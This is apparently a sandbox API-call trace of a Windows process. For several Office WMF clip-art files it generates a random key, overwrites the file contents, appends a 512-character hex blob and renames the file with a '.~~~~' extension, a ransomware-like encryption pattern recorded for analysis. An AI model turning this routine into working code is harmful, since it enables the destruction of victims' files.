	[0123.754] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.754] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.754] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.754] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.754] CloseHandle (hObject=0x138) returned 1
	[0123.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd1b0
	[0123.754] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf.~~~~")) returned 1
	[0123.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd1b0 | out: hHeap=0x300000) returned 1
	[0123.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0123.756] GetLastError () returned 0x0
	[0123.756] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0123.757] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0123.757] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0123.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.757] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24374752220) returned 1
	[0123.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb33c0070, dwHighDateTime=0x1d60e1e)) 
	[0123.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0123.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fc28
	[0123.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fc28 | out: hHeap=0x300000) returned 1
	[0123.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee6d8
	[0123.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd248
	[0123.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.758] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0123.758] GetLastError () returned 0x0
	[0123.758] GetLastError () returned 0x0
	[0123.759] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0123.759] GetLastError () returned 0x0
	[0123.759] GetLastError () returned 0x0
	[0123.760] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe26c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.761] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x1d94, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x1d94, lpOverlapped=0x0) returned 1
	[0123.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.762] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.762] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.762] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.762] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.762] CloseHandle (hObject=0x138) returned 1
	[0123.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd248
	[0123.763] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf.~~~~")) returned 1
	[0123.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd248 | out: hHeap=0x300000) returned 1
	[0123.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0123.764] GetLastError () returned 0x0
	[0123.764] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0123.765] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.765] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.765] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24375540357) returned 1
	[0123.765] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb33e61d0, dwHighDateTime=0x1d60e1e)) 
	[0123.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0123.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fc60
	[0123.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fc60 | out: hHeap=0x300000) returned 1
	[0123.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee6d8
	[0123.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd2e0
	[0123.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.766] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0123.766] GetLastError () returned 0x0
	[0123.766] GetLastError () returned 0x0
	[0123.766] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0123.767] GetLastError () returned 0x0
	[0123.767] GetLastError () returned 0x0
	[0123.769] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffebda, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.769] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x1426, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x1426, lpOverlapped=0x0) returned 1
	[0123.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.771] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.771] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.771] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.771] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.771] CloseHandle (hObject=0x138) returned 1
	[0123.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd2e0
	[0123.771] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf.~~~~")) returned 1
	[0123.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd2e0 | out: hHeap=0x300000) returned 1
	[0123.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0123.773] GetLastError () returned 0x0
	[0123.775] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0123.776] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.776] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.776] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24376622356) returned 1
	[0123.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb33e61d0, dwHighDateTime=0x1d60e1e)) 
	[0123.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0123.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fc60
	[0123.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0123.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fc60 | out: hHeap=0x300000) returned 1
	[0123.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2943620
	[0123.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0123.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee6d8
	[0123.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2943620 | out: hHeap=0x300000) returned 1
	[0123.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd378
	[0123.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.777] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0123.777] GetLastError () returned 0x0
	[0123.777] GetLastError () returned 0x0
	[0123.777] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0123.777] GetLastError () returned 0x0
	[0123.777] GetLastError () returned 0x0
	[0123.779] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffb2c8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.779] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x4d38, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x4d38, lpOverlapped=0x0) returned 1
	[0123.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.781] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.781] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.781] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.781] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.781] CloseHandle (hObject=0x138) returned 1
	[0123.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd2e0
	[0123.782] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf.~~~~")) returned 1
	[0123.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd2e0 | out: hHeap=0x300000) returned 1
	[0123.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0123.783] GetLastError () returned 0x0
	[0123.783] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0123.784] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.784] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.784] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24377448838) returned 1
	[0123.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb340c330, dwHighDateTime=0x1d60e1e)) 
	[0123.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0123.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fcd0
	[0123.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fcd0 | out: hHeap=0x300000) returned 1
	[0123.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd410
	[0123.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.785] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0123.785] GetLastError () returned 0x0
	[0123.785] GetLastError () returned 0x0
	[0123.785] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0123.785] GetLastError () returned 0x0
	[0123.786] GetLastError () returned 0x0
	[0123.846] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff8fe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.846] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x7018, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x7018, lpOverlapped=0x0) returned 1
	[0123.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.850] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.850] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.850] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.850] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.850] CloseHandle (hObject=0x138) returned 1
	[0123.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bceb8
	[0123.850] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf.~~~~")) returned 1
	[0124.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bceb8 | out: hHeap=0x300000) returned 1
	[0124.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.104] GetLastError () returned 0x0
	[0124.105] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0124.106] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.106] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.106] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24409607125) returned 1
	[0124.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb3705eb0, dwHighDateTime=0x1d60e1e)) 
	[0124.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28202b8
	[0124.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28202b8 | out: hHeap=0x300000) returned 1
	[0124.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee8d0
	[0124.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd4a8
	[0124.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee8d0 | out: hHeap=0x300000) returned 1
	[0124.107] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.107] GetLastError () returned 0x0
	[0124.107] GetLastError () returned 0x0
	[0124.107] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0124.107] GetLastError () returned 0x0
	[0124.107] GetLastError () returned 0x0
	[0124.109] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffa288, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
